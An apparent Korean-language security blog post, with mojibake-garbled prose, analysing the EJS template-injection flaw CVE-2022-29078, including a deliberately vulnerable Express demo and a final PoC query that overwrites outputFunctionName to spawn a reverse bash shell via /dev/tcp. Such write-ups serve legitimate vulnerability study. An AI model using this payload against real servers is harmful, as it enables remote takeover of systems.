[๋ถ์ ์ผ๊ธฐ] - EJS, Server Side Template Injection to RCE (CVE-2022-29078)
๐ช Intro
2022๋ 4์๋ฌ์ nodejs ์ ๋ชจ๋์ธ EJS์์ RCE ์ทจ์ฝ์ ์ด ๋ฐ๊ฒฌ๋์์ต๋๋ค. ๋งจ ์๋ Reference ์ ์๋ ๋งํฌ๋ฅผ ์ฐธ๊ณ ํ์ฌ ์ด๋ป๊ฒ EJS์์ RCE๊ฐ ๊ฐ๋ฅํ์ง๋ฅผ ๋ถ์ํด ๋ดค์ต๋๋ค.
์ทจ์ฝํ EJS ๋ฒ์ ์ `3.1.6` ์ดํ ๋ฒ์ ์ ๋๋ค. ํด๋น ์ทจ์ฝ์ ์ `3.1.7`์์ ํจ์น ๋์์ต๋๋ค.
๐กAnalysis
ํ๊ฒฝ ์ธํ ์ ์ํด ์๋์ ๊ฐ์ ๋ช ๋ น์ด๋ก ์ทจ์ฝํ EJS ๋ฒ์ ์ ์ค์นํด ์ค๋๋ค.
npm install ejs@3.1.6
์ดํ ๊ฐ๋จํ ์ฝ๋๋ฅผ ์์ฑํ์ฌ ์๋ฒ๋ฅผ ์์ํด ์ค๋๋ค.
// index.js
const express = require("express");
const app = express();
app.set("view engine", "ejs")
app.get("/", (req, res) => {
console.log(req.query);
res.render("index", req.query);
})
app.listen(8080, () => {
console.log("runnging");
})
<!-- views/index.ejs -->
<h1>
You are viewing page number
<%= id %>
</h1>
index.js ํ์ผ์์ 9๋ฒ์งธ ์ค์ ๋ณด๋ฉด, GET ํ๋ผ๋ฏธํฐ๋ก ์ ์ก๋ ๊ฐ์ `req.query` ๋ณ์๋ฅผ ํตํด ejs template์ผ๋ก ๋๊ฒจ์ฃผ๊ณ ์์ต๋๋ค. ๊ฒฐ๋ก ๋ถํฐ ๋ง์ ๋๋ฆฌ์๋ฉด, GET ํ๋ผ๋ฏธํฐ๋ก ์ ์ก๋ ๊ฐ์ `req.query` ๋ณ์๋ฅผ ํตํด ejs template์ผ๋ก ๋๊ฒจ์ฃผ๋ ์ฝ๋๋ก ์ธํด ์ทจ์ฝ์ ์ด ํธ๋ฆฌ๊ฑฐ๊ฐ ๋ฉ๋๋ค.
index.js ํ์ผ์์ 9๋ฒ์งธ ์ค์, `req.query` ๋ณ์๋ฅผ ์ธ์๋ก ์ ๋ฌํ๊ณ ์์ต๋๋ค. express ๋ชจ๋์์ ๋ก์ง์ ์ฒ๋ฆฌํ ๋ค, `ejs.js:454` ์ค์์ `args.shift()` ๋ฅผ ํตํด data ๋ณ์์ ์ ์ฅ๋ฉ๋๋ค.
๋์์ ํ์ธํ๊ธฐ ์ํด 454๋ฒ์งธ ์ค์์ bp๋ฅผ ๊ฑด ๋ค, ๋ธ๋ผ์ฐ์ ๋ `?id=aaaaa` ๋ผ๋ ๊ฐ์ GET ๋ฐฉ์์ผ๋ก ์ ๋ฌ ํฉ๋๋ค.
์ด๋ `data` ๋ณ์์๋ ๋ค์๊ณผ ๊ฐ์ ๊ฐ๋ค์ด ์ ์ฅ๋ฉ๋๋ค. ์ ๋ณด๋ฉด, `id: aaaaa` ๋ผ๋ key, value ๊ฐ ๋ค์ด๊ฐ ๊ฒ์ ๋ณผ ์ ์์ฃ .
์ดํ `ejs.js:473` ์ค์์ ์๊น ์ค๋ช ํ `data` ๋ณ์์์ `data.settings['view options']` ๋ผ๋ ๊ฐ์ด ์์ผ๋ฉด `475๋ฒ์งธ ์ค` ์ ์๋ `utils.shallowCopy` ๋ผ๋ ํจ์๊ฐ ๋์ํ๊ฒ ๋ฉ๋๋ค. ํ์ฌ ์ํฉ์์๋ ์ ์ฌ์ง์ ๋ณด๋ฉด ์ ์ ์๋ฏ์ด `data` ๋ณ์์ `view options` ๋ผ๋ key๊ฐ ์์ต๋๋ค. ๋ฐ๋ผ์ `475๋ฒ์งธ ์ค` ์ฝ๋๊ฐ ์คํ๋์ง ์์ต๋๋ค.
์ฐ์ , `utils.shallowCopy()` ํจ์๋ฅผ ๋ณด๋ฉด ๋ค์๊ณผ ๊ฐ์ต๋๋ค. ๋๋ฒ์งธ ์ธ์์ ๊ฐ์ ์ฒซ๋ฒ์งธ ์ธ์์ ๋ณต์ฌํ ๋ค ๋ฆฌํดํฉ๋๋ค. ์ด๋ ์ค์ํ ์ ์ ์ฒซ๋ฒ์งธ ์ธ์๊ฐ `opts` ๋ผ๋ ์ ์ ๋๋ค. ์ด ๋ด์ฉ์ ์ ๊ธฐ์ตํด ์ฃผ์ธ์.
๋ง์ฝ ํน์ ๋ณ์๋ฅผ overwrite ํ ์ ์๋ค๋ฉด, ์ด๋ค ๊ฒ์ด ๊ฐ์ฅ ์ข์๊น์?
EJS๋ Template๋ฅผ rendering ํ ๋ javascript code๋ฅผ ์คํํด ์ฃผ๋ ๋ก์ง์ด ์์ต๋๋ค.
`prepended` ๋ณ์์๋ javascript code๊ฐ ์๊ณ , `opts.outputFunctionName` ๊ฐ์ด ์๋ค๋ฉด `opts.outputFunctionName` ๊ฐ์ `prepended` ๋ณ์์ ์ถ๊ฐํฉ๋๋ค. ๊ณต๊ฒฉ์๊ฐ `opts.outputFunctionName` ๊ฐ์ ์กฐ์ํ ์ ์๋ค๋ฉด RCE๊ฐ ๊ฐ๋ฅํ๊ฒ ๋ค์!
์์ ์ค๋ช ํ๋ `utils.shallowCopy()` ํจ์์์ ์ฒซ๋ฒ์งธ ์ธ์๋ `opts` ๋ณ์ ์ ๋๋ค. ์ฆ, ๊ณต๊ฒฉ์๋ `opts` ๋ณ์์ ์ํ๋ ๊ฐ์ ๋ฃ์ด ์กฐ์ํ ์ ์์ต๋๋ค.
๐กExploit
`utils.shallowCopy()` ํจ์๋ฅผ ์คํ์ํค๊ธฐ ์ํด์๋ `data.settings['view options']` ๋ผ๋ ๊ฐ์ด ์์ด์ผ ํฉ๋๋ค.
๋ฐ๋ผ์ ๊ณต๊ฒฉ์๋ `?id=2&settings[view options][a]=b` ์ธ์๋ฅผ GET ๋ฐฉ์์ผ๋ก ์ ์กํฉ๋๋ค.
๋๋ฒ๊น ์ ํตํด ํ์ธํ๋ฉด `ejs.js:475` ๋ฒ์งธ ์ค์ `utils.shallowCopy()` ํจ์๊ฐ ์คํ๋ฉ๋๋ค. ์ด ํจ์๊ฐ ์คํ๋๋ฉด ์ต์ข ์ ์ผ๋ก `opts` ๋ณ์์ `a: b` ๋ผ๋ key, value ๊ฐ ์ถ๊ฐ๋ ๊ฒ์ ๋ณผ ์ ์์ต๋๋ค.
์ฆ, ๊ณต๊ฒฉ์๋ `opts` ๋ณ์์ ์ํ๋ key์ value๋ฅผ ์ถ๊ฐํ ์ ์๊ฒ ๋์์ต๋๋ค.
RCE๋ฅผ ํ๊ธฐ ์ํด ์์ ์ค๋ช ํ๋ `opts.outputFunctionName` ๊ฐ์ overwrite ํด์ผ ํฉ๋๋ค.
๋ฐ๋ผ์ ์ต์ข ์ ์ธ poc ์ฝ๋๋ ๋ค์๊ณผ ๊ฐ์ต๋๋ค.
?settings[view options][outputFunctionName]=x;process.mainModule.require('child_process').execSync("/bin/bash -c 'bash -i >%26 /dev/tcp/127.0.0.1/1337 0>%261'");s
๐ช Reference
https://eslam.io/posts/ejs-server-side-template-injection-rce/
EJS, Server side template injection RCE (CVE-2022-29078) - writeup
Note: The objective of this research or any similar researches is to improve the nodejs ecosystem security level. Recently i was working on a related project using one of the most popular Nodejs templating engines Embedded JavaScript templates - EJS In my
eslam.io
'Security' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
nodejs unicode (0) | 2022.10.06 |
---|---|
[๋ถ์์ผ๊ธฐ] - php switch case (0) | 2022.09.06 |
Node.js querystring ํจ์ ๋ถ์๊ณผ bug ์ค๋ช (0) | 2022.07.09 |
๋ถ์ ์ผ๊ธฐ - file upload ์ทจ์ฝ์ (0) | 2022.05.12 |
๋ถ์ ์ผ๊ธฐ - php dynamic variable (0) | 2022.04.03 |
๋๊ธ
์ด ๊ธ ๊ณต์ ํ๊ธฐ
-
๊ตฌ๋
ํ๊ธฐ
๊ตฌ๋ ํ๊ธฐ
-
์นด์นด์คํก
์นด์นด์คํก
-
๋ผ์ธ
๋ผ์ธ
-
ํธ์ํฐ
ํธ์ํฐ
-
Facebook
Facebook
-
์นด์นด์ค์คํ ๋ฆฌ
์นด์นด์ค์คํ ๋ฆฌ
-
๋ฐด๋
๋ฐด๋
-
๋ค์ด๋ฒ ๋ธ๋ก๊ทธ
๋ค์ด๋ฒ ๋ธ๋ก๊ทธ
-
Pocket
Pocket
-
Evernote
Evernote
๋ค๋ฅธ ๊ธ
-
nodejs unicode
nodejs unicode
2022.10.06 -
[๋ถ์์ผ๊ธฐ] - php switch case
[๋ถ์์ผ๊ธฐ] - php switch case
2022.09.06 -
Node.js querystring ํจ์ ๋ถ์๊ณผ bug ์ค๋ช
Node.js querystring ํจ์ ๋ถ์๊ณผ bug ์ค๋ช
2022.07.09 -
๋ถ์ ์ผ๊ธฐ - file upload ์ทจ์ฝ์
๋ถ์ ์ผ๊ธฐ - file upload ์ทจ์ฝ์
2022.05.12